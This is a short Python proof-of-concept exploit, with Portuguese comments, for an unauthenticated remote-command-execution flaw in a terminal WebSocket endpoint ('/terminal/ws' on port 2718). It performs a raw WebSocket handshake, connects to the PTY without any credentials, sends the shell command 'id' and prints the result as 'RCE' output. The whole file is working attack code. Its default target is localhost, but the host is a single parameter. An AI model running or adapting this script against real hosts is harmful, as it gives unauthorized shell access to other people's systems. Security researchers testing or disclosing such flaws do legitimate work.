import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()

import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Conexão estabelecida sem autenticação")
        await asyncio.sleep(0.3)

        # Ler banner inicial do PTY
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[Banner PTY]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Enviar comando
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Ler frames até o timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[Saída RCE]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))